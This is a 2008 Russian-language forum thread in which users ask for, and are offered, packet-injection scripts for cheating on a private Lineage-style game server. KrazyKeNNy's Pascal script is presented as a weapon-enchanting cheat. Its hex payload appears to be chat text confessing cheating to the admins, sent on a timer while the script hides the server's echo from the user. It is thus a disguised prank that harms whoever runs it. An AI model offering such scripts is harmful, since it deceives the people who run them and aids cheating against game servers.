Просмотр полной версии : Помогите с пакетами
Народ помогите написать пакеты на сервер valaksworld.com Hellbound а то я сколько пробую ничего не получаеться , пожалуйста кто может , помогите буду очень благодарен !!!!
KrazyKeNNy
09.09.2008, 18:21
Вот все-таки уговорили меня выложить скрипт на халяву в массы. Скрипт на заточку пух, работает наверняка на большинстве сервов. Точит прибавляя по +1
//Управление: соц.ДА-включить, соц.НЕТ-выключить
const
name=''; // поставить ник перса
var
nam:string;
x:integer;
startenchant:TTimer;
procedure Init; //Вызывается при включении скрипта
begin
startenchant:=TTimer.Create(nil);
startenchant.OnTimer:=@packets;
startenchant.enabled:=false;
startenchant.interval:=75; // поставил 75, ни нам ни вам ;) спс PanAm
end;
procedure Free;
begin
startenchant.Free;
end;
procedure packets;
begin
//не изменять этот пакет!
buf:=hstr('38 10 04 34 04 3C 04 38 04 3D 04 4B 04 21 00 20 00 4F 04 20 00 47 04 38 04 42 04 1E 04 40 04 20 00 38 04 20 00 42 04 40 04 35 04 31 04 43 04 4E 04 20 00 3F 04 43 04 45 04 43 04 20 00 3D 04 30 04 20 00 3F 04 3B 04 4E 04 41 04 20 00 3F 04 38 04 46 04 46 04 3E 04 42 04 21 00 21 00 21 00 00 00 01 00 00 00');
SendToServerEx(name);
end;
begin
if FromClient and (ConnectName=name) and (pck[1]=#$1B) and (pck[2]=#$06) then startenchant.enabled:=true;
if FromClient and (ConnectName=name) and (pck[1]=#$1B) and (pck[2]=#$05) then startenchant.enabled:=false;
if FromServer and (pck[1]=#$4A) then begin //убиваем пакет с излишним палевом
x:=10;
nam:=ReadS(x);
if (nam=name) and (pck[x]+pck[x+1]+pck[x+2]=#$10#$04#$34) then pck:='';
end;
end.
(c)Breadfan
0C 42 00 75 00 67 00 73 00 55 00 73 00 65 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 00 00 28 00 00 00 2B 00 00 00 19 00 00 00 1E 00 00 00 0B 00 00 00 01 00 00 00 02 00 00 00 01 00 00 00
Добавлено через 1 минуту
KrazyKeNNy, то на С4-Ил на Hellbound не будет работать
KrazyKeNNy
09.09.2008, 18:33
А, ну да), подправил.
//Управление: соц.ДА-включить, соц.НЕТ-выключить
const
name=''; // поставить ник перса
var
nam:string;
x:integer;
startenchant:TTimer;
procedure Init; //Вызывается при включении скрипта
begin
startenchant:=TTimer.Create(nil);
startenchant.OnTimer:=@packets;
startenchant.enabled:=false;
startenchant.interval:=75; // поставил 75, ни нам ни вам ;) спс PanAm
end;
procedure Free;
begin
startenchant.Free;
end;
procedure packets;
begin
//не изменять этот пакет!
buf:=hstr(0C 42 00 75 00 67 00 73 00 55 00 73 00 65 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 00 00 28 00 00 00 2B 00 00 00 19 00 00 00 1E 00 00 00 0B 00 00 00 01 00 00 00 02 00 00 00 01 00 00 00');
SendToServerEx(name);
end;
begin
if FromClient and (ConnectName=name) and (pck[1]=#$1B) and (pck[2]=#$06) then startenchant.enabled:=true;
if FromClient and (ConnectName=name) and (pck[1]=#$1B) and (pck[2]=#$05) then startenchant.enabled:=false;
if FromServer and (pck[1]=#$4A) then begin //убиваем пакет с излишним палевом
x:=10;
nam:=ReadS(x);
if (nam=name) and (pck[x]+pck[x+1]+pck[x+2]=#$10#$04#$34) then pck:='';
end;
end.
Опять не то ))
я другой пакет давал, на создание ГМа
KrazyKeNNy
09.09.2008, 18:49
Дак сначала создаем гма а потом уже точим, так устроен скрипт)
P.S. мне влом запускать клиент )
гг.... народ это же не по теме =))) Я очень прошу помогите с пакетами для этого сервера , пакеты по зарез нужны , я просто хз , не могу написать пакет вообще =((( !!!! Так что надеюсь на вашу помощь!!!!
Запрещено:
Просить пакеты/скрипты на шмот/адену/другие вещи;
Просить (помочь) взломать/сломать сервак/аккаунт или раздеть/наказать кого-то на любом серваке;
Просить научить работать с программой, если не понимаете элементарных вещей в отношениях клиент-сервер (так как, если вы их понимаете, то вопросов по основным возможностям программы быть недолжно);
Все посты не удовлетворяющие этим запретам, а так же не относящиеся к теме будут удаляться при первой возможности.
Запрещается создавать темы с просьбой выполнить какую-то работу за автора темы.
Форум является средством общения и общего поиска решения. Вашу работу за Вас никто выполнять не будет.
Данные запреты неподлежат обсуждению.
vBulletin® v3.6.11, Copyright ©2000-2024, Jelsoft Enterprises Ltd. Перевод: zCarot